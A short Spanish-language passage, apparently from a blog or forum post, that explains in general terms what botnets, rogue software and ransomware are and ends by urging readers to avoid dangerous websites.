Ataques distribuidos: Botnets. Las botnets son redes de computadoras infectadas, también llamadas "zombis", que pueden ser controladas a la vez por un individuo y realizan distintas tareas. Este tipo de redes son usadas para el envío masivo de spam o para lanzar ataques DDoS contra organizaciones como forma de extorsión o para impedir su correcto funcionamiento.
Otros tipos: Rogue software y Ransomware. Los rogue software hacen creer al usuario que la computadora está infectada por algún tipo de virus u otro tipo de software malicioso, esto induce al usuario a pagar por un software inútil o a instalar un software malicioso que supuestamente elimina las infecciones, pero el usuario no necesita ese software puesto que no está infectado. Los Ransomeware (también llamados criptovirus o secuestradores), son programas que cifran los archivos importantes para el usuario, haciéndolos inaccesibles, y piden que se pague un "rescate" para poder recibir la contraseña que permite recuperar los archivos.

Espero que esto les ayude en algo. Recuerden mantenerse afuera de sitios web peligrosos. Nos vemos.